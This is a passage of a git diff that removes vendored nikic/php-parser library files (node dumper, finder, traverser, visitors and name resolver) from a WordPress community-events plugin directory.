- 1; $i >= 0; $i--) { - if ($comments[$i] instanceof Comment\Doc) { - // Replace existing doc comment. - $comments[$i] = $docComment; - $this->setAttribute('comments', $comments); - return; - } - } - - // Append new doc comment. - $comments[] = $docComment; - $this->setAttribute('comments', $comments); - } - - public function setAttribute(string $key, $value): void { - $this->attributes[$key] = $value; - } - - public function hasAttribute(string $key): bool { - return array_key_exists($key, $this->attributes); - } - - public function getAttribute(string $key, $default = null) { - if (array_key_exists($key, $this->attributes)) { - return $this->attributes[$key]; - } - - return $default; - } - - public function getAttributes(): array { - return $this->attributes; - } - - public function setAttributes(array $attributes): void { - $this->attributes = $attributes; - } - - /** - * @return array - */ - public function jsonSerialize(): array { - return ['nodeType' => $this->getType()] + get_object_vars($this); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeDumper.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeDumper.php deleted file mode 100644 index 39ce86aa..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeDumper.php +++ /dev/null @@ -1,299 +0,0 @@ - true, - 'startLine' => true, - 'endLine' => true, - 'startFilePos' => true, - 'endFilePos' => true, - 'startTokenPos' => true, - 'endTokenPos' => true, - ]; - - /** - * Constructs a NodeDumper. - * - * Supported options: - * * bool dumpComments: Whether comments should be dumped. - * * bool dumpPositions: Whether line/offset information should be dumped. To dump offset - * information, the code needs to be passed to dump(). - * * bool dumpOtherAttributes: Whether non-comment, non-position attributes should be dumped. - * - * @param array $options Options (see description) - */ - public function __construct(array $options = []) { - $this->dumpComments = !empty($options['dumpComments']); - $this->dumpPositions = !empty($options['dumpPositions']); - $this->dumpOtherAttributes = !empty($options['dumpOtherAttributes']); - } - - /** - * Dumps a node or array. - * - * @param array|Node $node Node or array to dump - * @param string|null $code Code corresponding to dumped AST. This only needs to be passed if - * the dumpPositions option is enabled and the dumping of node offsets - * is desired. - * - * @return string Dumped value - */ - public function dump($node, ?string $code = null): string { - $this->code = $code; - $this->res = ''; - $this->nl = "\n"; - $this->dumpRecursive($node, false); - return $this->res; - } - - /** @param mixed $node */ - protected function dumpRecursive($node, bool $indent = true): void { - if ($indent) { - $this->nl .= " "; - } - if ($node instanceof Node) { - $this->res .= $node->getType(); - if ($this->dumpPositions && null !== $p = $this->dumpPosition($node)) { - $this->res .= $p; - } - $this->res .= '('; - - foreach ($node->getSubNodeNames() as $key) { - $this->res .= "$this->nl " . $key . ': '; - - $value = $node->$key; - if (\is_int($value)) { - if ('flags' === $key || 'newModifier' === $key) { - $this->res .= $this->dumpFlags($value); - continue; - } - if ('type' === $key && $node instanceof Include_) { - $this->res .= $this->dumpIncludeType($value); - continue; - } - if ('type' === $key - && ($node instanceof Use_ || $node instanceof UseItem || $node instanceof GroupUse)) { - $this->res .= $this->dumpUseType($value); - continue; - } - } - $this->dumpRecursive($value); - } - - if ($this->dumpComments && $comments = $node->getComments()) { - $this->res .= "$this->nl comments: "; - $this->dumpRecursive($comments); - } - - if ($this->dumpOtherAttributes) { - foreach ($node->getAttributes() as $key => $value) { - if (isset(self::IGNORE_ATTRIBUTES[$key])) { - continue; - } - - $this->res .= "$this->nl $key: "; - if (\is_int($value)) { - if ('kind' === $key) { - if ($node instanceof Int_) { - $this->res .= $this->dumpIntKind($value); - continue; - } - if ($node instanceof String_ || $node instanceof InterpolatedString) { - $this->res .= $this->dumpStringKind($value); - continue; - } - if ($node instanceof Array_) { - $this->res .= $this->dumpArrayKind($value); - continue; - } - if ($node instanceof List_) { - $this->res .= $this->dumpListKind($value); - continue; - } - } - } - $this->dumpRecursive($value); - } - } - $this->res .= "$this->nl)"; - } elseif (\is_array($node)) { - $this->res .= 'array('; - foreach ($node as $key => $value) { - $this->res .= "$this->nl " . $key . ': '; - $this->dumpRecursive($value); - } - $this->res .= "$this->nl)"; - } elseif ($node instanceof Comment) { - $this->res .= \str_replace("\n", $this->nl, $node->getReformattedText()); - } elseif (\is_string($node)) { - $this->res .= \str_replace("\n", $this->nl, (string)$node); - } elseif (\is_int($node) || \is_float($node)) { - $this->res .= $node; - } elseif (null === $node) { - $this->res .= 'null'; - } elseif (false === $node) { - $this->res .= 'false'; - } elseif (true === $node) { - $this->res .= 'true'; - } else { - throw new \InvalidArgumentException('Can only dump nodes and arrays.'); - } - if ($indent) { - $this->nl = \substr($this->nl, 0, -4); - } - } - - protected function dumpFlags(int $flags): string { - $strs = []; - if ($flags & Modifiers::PUBLIC) { - $strs[] = 'PUBLIC'; - } - if ($flags & Modifiers::PROTECTED) { - $strs[] = 'PROTECTED'; - } - if ($flags & Modifiers::PRIVATE) { - $strs[] = 'PRIVATE'; - } - if ($flags & Modifiers::ABSTRACT) { - $strs[] = 'ABSTRACT'; - } - if ($flags & Modifiers::STATIC) { - $strs[] = 'STATIC'; - } - if ($flags & Modifiers::FINAL) { - $strs[] = 'FINAL'; - } - if ($flags & Modifiers::READONLY) { - $strs[] = 'READONLY'; - } - if ($flags & Modifiers::PUBLIC_SET) { - $strs[] = 'PUBLIC_SET'; - } - if ($flags & Modifiers::PROTECTED_SET) { - $strs[] = 'PROTECTED_SET'; - } - if ($flags & Modifiers::PRIVATE_SET) { - $strs[] = 'PRIVATE_SET'; - } - - if ($strs) { - return implode(' | ', $strs) . ' (' . $flags . ')'; - } else { - return (string) $flags; - } - } - - /** @param array $map */ - private function dumpEnum(int $value, array $map): string { - if (!isset($map[$value])) { - return (string) $value; - } - return $map[$value] . ' (' . $value . ')'; - } - - private function dumpIncludeType(int $type): string { - return $this->dumpEnum($type, [ - Include_::TYPE_INCLUDE => 'TYPE_INCLUDE', - Include_::TYPE_INCLUDE_ONCE => 'TYPE_INCLUDE_ONCE', - Include_::TYPE_REQUIRE => 'TYPE_REQUIRE', - Include_::TYPE_REQUIRE_ONCE => 'TYPE_REQUIRE_ONCE', - ]); - } - - private function dumpUseType(int $type): string { - return $this->dumpEnum($type, [ - Use_::TYPE_UNKNOWN => 'TYPE_UNKNOWN', - Use_::TYPE_NORMAL => 'TYPE_NORMAL', - Use_::TYPE_FUNCTION => 'TYPE_FUNCTION', - Use_::TYPE_CONSTANT => 'TYPE_CONSTANT', - ]); - } - - private function dumpIntKind(int $kind): string { - return $this->dumpEnum($kind, [ - Int_::KIND_BIN => 'KIND_BIN', - Int_::KIND_OCT => 'KIND_OCT', - Int_::KIND_DEC => 'KIND_DEC', - Int_::KIND_HEX => 'KIND_HEX', - ]); - } - - private function dumpStringKind(int $kind): string { - return $this->dumpEnum($kind, [ - String_::KIND_SINGLE_QUOTED => 'KIND_SINGLE_QUOTED', - String_::KIND_DOUBLE_QUOTED => 'KIND_DOUBLE_QUOTED', - String_::KIND_HEREDOC => 'KIND_HEREDOC', - String_::KIND_NOWDOC => 'KIND_NOWDOC', - ]); - } - - private function dumpArrayKind(int $kind): string { - return $this->dumpEnum($kind, [ - Array_::KIND_LONG => 'KIND_LONG', - Array_::KIND_SHORT => 'KIND_SHORT', - ]); - } - - private function dumpListKind(int $kind): string { - return $this->dumpEnum($kind, [ - List_::KIND_LIST => 'KIND_LIST', - List_::KIND_ARRAY => 'KIND_ARRAY', - ]); - } - - /** - * Dump node position, if possible. - * - * @param Node $node Node for which to dump position - * - * @return string|null Dump of position, or null if position information not available - */ - protected function dumpPosition(Node $node): ?string { - if (!$node->hasAttribute('startLine') || !$node->hasAttribute('endLine')) { - return null; - } - - $start = $node->getStartLine(); - $end = $node->getEndLine(); - if ($node->hasAttribute('startFilePos') && $node->hasAttribute('endFilePos') - && null !== $this->code - ) { - $start .= ':' . $this->toColumn($this->code, $node->getStartFilePos()); - $end .= ':' . $this->toColumn($this->code, $node->getEndFilePos()); - } - return "[$start - $end]"; - } - - // Copied from Error class - private function toColumn(string $code, int $pos): int { - if ($pos > strlen($code)) { - throw new \RuntimeException('Invalid position information'); - } - - $lineStartPos = strrpos($code, "\n", $pos - strlen($code)); - if (false === $lineStartPos) { - $lineStartPos = -1; - } - - return $pos - $lineStartPos; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeFinder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeFinder.php deleted file mode 100644 index 96c84526..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeFinder.php +++ /dev/null @@ -1,90 +0,0 @@ -traverse($nodes); - - return $visitor->getFoundNodes(); - } - - /** - * Find all nodes that are instances of a certain class. - - * @template TNode as Node - * - * @param Node|Node[] $nodes Single node or array of nodes to search in - * @param class-string $class Class name - * - * @return TNode[] Found nodes (all instances of $class) - */ - public function findInstanceOf($nodes, string $class): array { - return $this->find($nodes, function ($node) use ($class) { - return $node instanceof $class; - }); - } - - /** - * Find first node satisfying a filter callback. - * - * @param Node|Node[] $nodes Single node or array of nodes to search in - * @param callable $filter Filter callback: function(Node $node) : bool - * - * @return null|Node Found node (or null if none found) - */ - public function findFirst($nodes, callable $filter): ?Node { - if ($nodes === []) { - return null; - } - - if (!is_array($nodes)) { - $nodes = [$nodes]; - } - - $visitor = new FirstFindingVisitor($filter); - - $traverser = new NodeTraverser($visitor); - $traverser->traverse($nodes); - - return $visitor->getFoundNode(); - } - - /** - * Find first node that is an instance of a certain class. - * - * @template TNode as Node - * - * @param Node|Node[] $nodes Single node or array of nodes to search in - * @param class-string $class Class name - * - * @return null|TNode Found node, which is an instance of $class (or null if none found) - */ - public function findFirstInstanceOf($nodes, string $class): ?Node { - return $this->findFirst($nodes, function ($node) use ($class) { - return $node instanceof $class; - }); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeTraverser.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeTraverser.php deleted file mode 100644 index bb3d6ddb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeTraverser.php +++ /dev/null @@ -1,287 +0,0 @@ - Visitors */ - protected array $visitors = []; - - /** @var bool Whether traversal should be stopped */ - protected bool $stopTraversal; - - /** - * Create a traverser with the given visitors. - * - * @param NodeVisitor ...$visitors Node visitors - */ - public function __construct(NodeVisitor ...$visitors) { - $this->visitors = $visitors; - } - - /** - * Adds a visitor. - * - * @param NodeVisitor $visitor Visitor to add - */ - public function addVisitor(NodeVisitor $visitor): void { - $this->visitors[] = $visitor; - } - - /** - * Removes an added visitor. - */ - public function removeVisitor(NodeVisitor $visitor): void { - $index = array_search($visitor, $this->visitors); - if ($index !== false) { - array_splice($this->visitors, $index, 1, []); - } - } - - /** - * Traverses an array of nodes using the registered visitors. - * - * @param Node[] $nodes Array of nodes - * - * @return Node[] Traversed array of nodes - */ - public function traverse(array $nodes): array { - $this->stopTraversal = false; - - foreach ($this->visitors as $visitor) { - if (null !== $return = $visitor->beforeTraverse($nodes)) { - $nodes = $return; - } - } - - $nodes = $this->traverseArray($nodes); - - for ($i = \count($this->visitors) - 1; $i >= 0; --$i) { - $visitor = $this->visitors[$i]; - if (null !== $return = $visitor->afterTraverse($nodes)) { - $nodes = $return; - } - } - - return $nodes; - } - - /** - * Recursively traverse a node. - * - * @param Node $node Node to traverse. - */ - protected function traverseNode(Node $node): void { - foreach ($node->getSubNodeNames() as $name) { - $subNode = $node->$name; - - if (\is_array($subNode)) { - $node->$name = $this->traverseArray($subNode); - if ($this->stopTraversal) { - break; - } - - continue; - } - - if (!$subNode instanceof Node) { - continue; - } - - $traverseChildren = true; - $visitorIndex = -1; - - foreach ($this->visitors as $visitorIndex => $visitor) { - $return = $visitor->enterNode($subNode); - if (null !== $return) { - if ($return instanceof Node) { - $this->ensureReplacementReasonable($subNode, $return); - $subNode = $node->$name = $return; - } elseif (NodeVisitor::DONT_TRAVERSE_CHILDREN === $return) { - $traverseChildren = false; - } elseif (NodeVisitor::DONT_TRAVERSE_CURRENT_AND_CHILDREN === $return) { - $traverseChildren = false; - break; - } elseif (NodeVisitor::STOP_TRAVERSAL === $return) { - $this->stopTraversal = true; - break 2; - } elseif (NodeVisitor::REPLACE_WITH_NULL === $return) { - $node->$name = null; - continue 2; - } else { - throw new \LogicException( - 'enterNode() returned invalid value of type ' . gettype($return) - ); - } - } - } - - if ($traverseChildren) { - $this->traverseNode($subNode); - if ($this->stopTraversal) { - break; - } - } - - for (; $visitorIndex >= 0; --$visitorIndex) { - $visitor = $this->visitors[$visitorIndex]; - $return = $visitor->leaveNode($subNode); - - if (null !== $return) { - if ($return instanceof Node) { - $this->ensureReplacementReasonable($subNode, $return); - $subNode = $node->$name = $return; - } elseif (NodeVisitor::STOP_TRAVERSAL === $return) { - $this->stopTraversal = true; - break 2; - } elseif (NodeVisitor::REPLACE_WITH_NULL === $return) { - $node->$name = null; - break; - } elseif (\is_array($return)) { - throw new \LogicException( - 'leaveNode() may only return an array ' . - 'if the parent structure is an array' - ); - } else { - throw new \LogicException( - 'leaveNode() returned invalid value of type ' . gettype($return) - ); - } - } - } - } - } - - /** - * Recursively traverse array (usually of nodes). - * - * @param array $nodes Array to traverse - * - * @return array Result of traversal (may be original array or changed one) - */ - protected function traverseArray(array $nodes): array { - $doNodes = []; - - foreach ($nodes as $i => $node) { - if (!$node instanceof Node) { - if (\is_array($node)) { - throw new \LogicException('Invalid node structure: Contains nested arrays'); - } - continue; - } - - $traverseChildren = true; - $visitorIndex = -1; - - foreach ($this->visitors as $visitorIndex => $visitor) { - $return = $visitor->enterNode($node); - if (null !== $return) { - if ($return instanceof Node) { - $this->ensureReplacementReasonable($node, $return); - $nodes[$i] = $node = $return; - } elseif (\is_array($return)) { - $doNodes[] = [$i, $return]; - continue 2; - } elseif (NodeVisitor::REMOVE_NODE === $return) { - $doNodes[] = [$i, []]; - continue 2; - } elseif (NodeVisitor::DONT_TRAVERSE_CHILDREN === $return) { - $traverseChildren = false; - } elseif (NodeVisitor::DONT_TRAVERSE_CURRENT_AND_CHILDREN === $return) { - $traverseChildren = false; - break; - } elseif (NodeVisitor::STOP_TRAVERSAL === $return) { - $this->stopTraversal = true; - break 2; - } elseif (NodeVisitor::REPLACE_WITH_NULL === $return) { - throw new \LogicException( - 'REPLACE_WITH_NULL can not be used if the parent structure is an array'); - } else { - throw new \LogicException( - 'enterNode() returned invalid value of type ' . gettype($return) - ); - } - } - } - - if ($traverseChildren) { - $this->traverseNode($node); - if ($this->stopTraversal) { - break; - } - } - - for (; $visitorIndex >= 0; --$visitorIndex) { - $visitor = $this->visitors[$visitorIndex]; - $return = $visitor->leaveNode($node); - - if (null !== $return) { - if ($return instanceof Node) { - $this->ensureReplacementReasonable($node, $return); - $nodes[$i] = $node = $return; - } elseif (\is_array($return)) { - $doNodes[] = [$i, $return]; - break; - } elseif (NodeVisitor::REMOVE_NODE === $return) { - $doNodes[] = [$i, []]; - break; - } elseif (NodeVisitor::STOP_TRAVERSAL === $return) { - $this->stopTraversal = true; - break 2; - } elseif (NodeVisitor::REPLACE_WITH_NULL === $return) { - throw new \LogicException( - 'REPLACE_WITH_NULL can not be used if the parent structure is an array'); - } else { - throw new \LogicException( - 'leaveNode() returned invalid value of type ' . gettype($return) - ); - } - } - } - } - - if (!empty($doNodes)) { - while (list($i, $replace) = array_pop($doNodes)) { - array_splice($nodes, $i, 1, $replace); - } - } - - return $nodes; - } - - private function ensureReplacementReasonable(Node $old, Node $new): void { - if ($old instanceof Node\Stmt && $new instanceof Node\Expr) { - throw new \LogicException( - "Trying to replace statement ({$old->getType()}) " . - "with expression ({$new->getType()}). Are you missing a " . - "Stmt_Expression wrapper?" - ); - } - - if ($old instanceof Node\Expr && $new instanceof Node\Stmt) { - throw new \LogicException( - "Trying to replace expression ({$old->getType()}) " . - "with statement ({$new->getType()})" - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeTraverserInterface.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeTraverserInterface.php deleted file mode 100644 index c3992b3d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeTraverserInterface.php +++ /dev/null @@ -1,26 +0,0 @@ - $node stays as-is - * * array (of Nodes) - * => The return value is merged into the parent array (at the position of the $node) - * * NodeVisitor::REMOVE_NODE - * => $node is removed from the parent array - * * NodeVisitor::REPLACE_WITH_NULL - * => $node is replaced with null - * * NodeVisitor::DONT_TRAVERSE_CHILDREN - * => Children of $node are not traversed. $node stays as-is - * * NodeVisitor::DONT_TRAVERSE_CURRENT_AND_CHILDREN - * => Further visitors for the current node are skipped, and its children are not - * traversed. $node stays as-is. - * * NodeVisitor::STOP_TRAVERSAL - * => Traversal is aborted. $node stays as-is - * * otherwise - * => $node is set to the return value - * - * @param Node $node Node - * - * @return null|int|Node|Node[] Replacement node (or special return value) - */ - public function enterNode(Node $node); - - /** - * Called when leaving a node. - * - * Return value semantics: - * * null - * => $node stays as-is - * * NodeVisitor::REMOVE_NODE - * => $node is removed from the parent array - * * NodeVisitor::REPLACE_WITH_NULL - * => $node is replaced with null - * * NodeVisitor::STOP_TRAVERSAL - * => Traversal is aborted. $node stays as-is - * * array (of Nodes) - * => The return value is merged into the parent array (at the position of the $node) - * * otherwise - * => $node is set to the return value - * - * @param Node $node Node - * - * @return null|int|Node|Node[] Replacement node (or special return value) - */ - public function leaveNode(Node $node); - - /** - * Called once after traversal. - * - * Return value semantics: - * * null: $nodes stays as-is - * * otherwise: $nodes is set to the return value - * - * @param Node[] $nodes Array of nodes - * - * @return null|Node[] Array of nodes - */ - public function afterTraverse(array $nodes); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/CloningVisitor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/CloningVisitor.php deleted file mode 100644 index cba92499..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/CloningVisitor.php +++ /dev/null @@ -1,19 +0,0 @@ -setAttribute('origNode', $origNode); - return $node; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/CommentAnnotatingVisitor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/CommentAnnotatingVisitor.php deleted file mode 100644 index 5e2aed31..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/CommentAnnotatingVisitor.php +++ /dev/null @@ -1,82 +0,0 @@ - Token positions of comments */ - private array $commentPositions = []; - - /** - * Create a comment annotation visitor. - * - * @param Token[] $tokens Token array - */ - public function __construct(array $tokens) { - $this->tokens = $tokens; - - // Collect positions of comments. We use this to avoid traversing parts of the AST where - // there are no comments. - foreach ($tokens as $i => $token) { - if ($token->id === \T_COMMENT || $token->id === \T_DOC_COMMENT) { - $this->commentPositions[] = $i; - } - } - } - - public function enterNode(Node $node) { - $nextCommentPos = current($this->commentPositions); - if ($nextCommentPos === false) { - // No more comments. - return self::STOP_TRAVERSAL; - } - - $oldPos = $this->pos; - $this->pos = $pos = $node->getStartTokenPos(); - if ($nextCommentPos > $oldPos && $nextCommentPos < $pos) { - $comments = []; - while (--$pos >= $oldPos) { - $token = $this->tokens[$pos]; - if ($token->id === \T_DOC_COMMENT) { - $comments[] = new Comment\Doc( - $token->text, $token->line, $token->pos, $pos, - $token->getEndLine(), $token->getEndPos() - 1, $pos); - continue; - } - if ($token->id === \T_COMMENT) { - $comments[] = new Comment( - $token->text, $token->line, $token->pos, $pos, - $token->getEndLine(), $token->getEndPos() - 1, $pos); - continue; - } - if ($token->id !== \T_WHITESPACE) { - break; - } - } - if (!empty($comments)) { - $node->setAttribute('comments', array_reverse($comments)); - } - - do { - $nextCommentPos = next($this->commentPositions); - } while ($nextCommentPos !== false && $nextCommentPos < $this->pos); - } - - $endPos = $node->getEndTokenPos(); - if ($nextCommentPos > $endPos) { - // Skip children if there are no comments located inside this node. - $this->pos = $endPos; - return self::DONT_TRAVERSE_CHILDREN; - } - - return null; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/FindingVisitor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/FindingVisitor.php deleted file mode 100644 index 1f3f4bae..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/FindingVisitor.php +++ /dev/null @@ -1,47 +0,0 @@ -filterCallback = $filterCallback; - } - - /** - * Get found nodes satisfying the filter callback. - * - * Nodes are returned in pre-order. - * - * @return Node[] Found nodes - */ - public function getFoundNodes(): array { - return $this->foundNodes; - } - - public function beforeTraverse(array $nodes): ?array { - $this->foundNodes = []; - - return null; - } - - public function enterNode(Node $node) { - $filterCallback = $this->filterCallback; - if ($filterCallback($node)) { - $this->foundNodes[] = $node; - } - - return null; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/FirstFindingVisitor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/FirstFindingVisitor.php deleted file mode 100644 index 05deed59..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/FirstFindingVisitor.php +++ /dev/null @@ -1,49 +0,0 @@ -filterCallback = $filterCallback; - } - - /** - * Get found node satisfying the filter callback. - * - * Returns null if no node satisfies the filter callback. - * - * @return null|Node Found node (or null if not found) - */ - public function getFoundNode(): ?Node { - return $this->foundNode; - } - - public function beforeTraverse(array $nodes): ?array { - $this->foundNode = null; - - return null; - } - - public function enterNode(Node $node) { - $filterCallback = $this->filterCallback; - if ($filterCallback($node)) { - $this->foundNode = $node; - return NodeVisitor::STOP_TRAVERSAL; - } - - return null; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/NameResolver.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/NameResolver.php deleted file mode 100644 index 99449c49..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/NameResolver.php +++ /dev/null @@ -1,268 +0,0 @@ -nameContext = new NameContext($errorHandler ?? new ErrorHandler\Throwing()); - $this->preserveOriginalNames = $options['preserveOriginalNames'] ?? false; - $this->replaceNodes = $options['replaceNodes'] ?? true; - } - - /** - * Get name resolution context. - */ - public function getNameContext(): NameContext { - return $this->nameContext; - } - - public function beforeTraverse(array $nodes): ?array { - $this->nameContext->startNamespace(); - return null; - } - - public function enterNode(Node $node) { - if ($node instanceof Stmt\Namespace_) { - $this->nameContext->startNamespace($node->name); - } elseif ($node instanceof Stmt\Use_) { - foreach ($node->uses as $use) { - $this->addAlias($use, $node->type, null); - } - } elseif ($node instanceof Stmt\GroupUse) { - foreach ($node->uses as $use) { - $this->addAlias($use, $node->type, $node->prefix); - } - } elseif ($node instanceof Stmt\Class_) { - if (null !== $node->extends) { - $node->extends = $this->resolveClassName($node->extends); - } - - foreach ($node->implements as &$interface) { - $interface = $this->resolveClassName($interface); - } - - $this->resolveAttrGroups($node); - if (null !== $node->name) { - $this->addNamespacedName($node); - } else { - $node->namespacedName = null; - } - } elseif ($node instanceof Stmt\Interface_) { - foreach ($node->extends as &$interface) { - $interface = $this->resolveClassName($interface); - } - - $this->resolveAttrGroups($node); - $this->addNamespacedName($node); - } elseif ($node instanceof Stmt\Enum_) { - foreach ($node->implements as &$interface) { - $interface = $this->resolveClassName($interface); - } - - $this->resolveAttrGroups($node); - $this->addNamespacedName($node); - } elseif ($node instanceof Stmt\Trait_) { - $this->resolveAttrGroups($node); - $this->addNamespacedName($node); - } elseif ($node instanceof Stmt\Function_) { - $this->resolveSignature($node); - $this->resolveAttrGroups($node); - $this->addNamespacedName($node); - } elseif ($node instanceof Stmt\ClassMethod - || $node instanceof Expr\Closure - || $node instanceof Expr\ArrowFunction - ) { - $this->resolveSignature($node); - $this->resolveAttrGroups($node); - } elseif ($node instanceof Stmt\Property) { - if (null !== $node->type) { - $node->type = $this->resolveType($node->type); - } - $this->resolveAttrGroups($node); - } elseif ($node instanceof Node\PropertyHook) { - foreach ($node->params as $param) { - $param->type = $this->resolveType($param->type); - $this->resolveAttrGroups($param); - } - $this->resolveAttrGroups($node); - } elseif ($node instanceof Stmt\Const_) { - foreach ($node->consts as $const) { - $this->addNamespacedName($const); - } - } elseif ($node instanceof Stmt\ClassConst) { - if (null !== $node->type) { - $node->type = $this->resolveType($node->type); - } - $this->resolveAttrGroups($node); - } elseif ($node instanceof Stmt\EnumCase) { - $this->resolveAttrGroups($node); - } elseif ($node instanceof Expr\StaticCall - || $node instanceof Expr\StaticPropertyFetch - || $node instanceof Expr\ClassConstFetch - || $node instanceof Expr\New_ - || $node instanceof Expr\Instanceof_ - ) { - if ($node->class instanceof Name) { - $node->class = $this->resolveClassName($node->class); - } - } elseif ($node instanceof Stmt\Catch_) { - foreach ($node->types as &$type) { - $type = $this->resolveClassName($type); - } - } elseif ($node instanceof Expr\FuncCall) { - if ($node->name instanceof Name) { - $node->name = $this->resolveName($node->name, Stmt\Use_::TYPE_FUNCTION); - } - } elseif ($node instanceof Expr\ConstFetch) { - $node->name = $this->resolveName($node->name, Stmt\Use_::TYPE_CONSTANT); - } elseif ($node instanceof Stmt\TraitUse) { - foreach ($node->traits as &$trait) { - $trait = $this->resolveClassName($trait); - } - - foreach ($node->adaptations as $adaptation) { - if (null !== $adaptation->trait) { - $adaptation->trait = $this->resolveClassName($adaptation->trait); - } - - if ($adaptation instanceof Stmt\TraitUseAdaptation\Precedence) { - foreach ($adaptation->insteadof as &$insteadof) { - $insteadof = $this->resolveClassName($insteadof); - } - } - } - } - - return null; - } - - /** @param Stmt\Use_::TYPE_* $type */ - private function addAlias(Node\UseItem $use, int $type, ?Name $prefix = null): void { - // Add prefix for group uses - $name = $prefix ? Name::concat($prefix, $use->name) : $use->name; - // Type is determined either by individual element or whole use declaration - $type |= $use->type; - - $this->nameContext->addAlias( - $name, (string) $use->getAlias(), $type, $use->getAttributes() - ); - } - - /** @param Stmt\Function_|Stmt\ClassMethod|Expr\Closure|Expr\ArrowFunction $node */ - private function resolveSignature($node): void { - foreach ($node->params as $param) { - $param->type = $this->resolveType($param->type); - $this->resolveAttrGroups($param); - } - $node->returnType = $this->resolveType($node->returnType); - } - - /** - * @template T of Node\Identifier|Name|Node\ComplexType|null - * @param T $node - * @return T - */ - private function resolveType(?Node $node): ?Node { - if ($node instanceof Name) { - return $this->resolveClassName($node); - } - if ($node instanceof Node\NullableType) { - $node->type = $this->resolveType($node->type); - return $node; - } - if ($node instanceof Node\UnionType || $node instanceof Node\IntersectionType) { - foreach ($node->types as &$type) { - $type = $this->resolveType($type); - } - return $node; - } - return $node; - } - - /** - * Resolve name, according to name resolver options. - * - * @param Name $name Function or constant name to resolve - * @param Stmt\Use_::TYPE_* $type One of Stmt\Use_::TYPE_* - * - * @return Name Resolved name, or original name with attribute - */ - protected function resolveName(Name $name, int $type): Name { - if (!$this->replaceNodes) { - $resolvedName = $this->nameContext->getResolvedName($name, $type); - if (null !== $resolvedName) { - $name->setAttribute('resolvedName', $resolvedName); - } else { - $name->setAttribute('namespacedName', FullyQualified::concat( - $this->nameContext->getNamespace(), $name, $name->getAttributes())); - } - return $name; - } - - if ($this->preserveOriginalNames) { - // Save the original name - $originalName = $name; - $name = clone $originalName; - $name->setAttribute('originalName', $originalName); - } - - $resolvedName = $this->nameContext->getResolvedName($name, $type); - if (null !== $resolvedName) { - return $resolvedName; - } - - // unqualified names inside a namespace cannot be resolved at compile-time - // add the namespaced version of the name as an attribute - $name->setAttribute('namespacedName', FullyQualified::concat( - $this->nameContext->getNamespace(), $name, $name->getAttributes())); - return $name; - } - - protected function resolveClassName(Name $name): Name { - return $this->resolveName($name, Stmt\Use_::TYPE_NORMAL); - } - - protected function addNamespacedName(Node $node): void { - $node->namespacedName = Name::concat( - $this->nameContext->getNamespace(), (string) $node->name); - } - - protected function resolveAttrGroups(Node $node): void { - foreach ($node->attrGroups as $attrGroup) { - foreach ($attrGroup->attrs as $attr) { - $attr->name = $this->resolveClassName($attr->name); - } - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/NodeConnectingVisitor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/NodeConnectingVisitor.php deleted file mode 100644 index 38fedfd5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/NodeConnectingVisitor.php +++ /dev/null @@ -1,51 +0,0 @@ 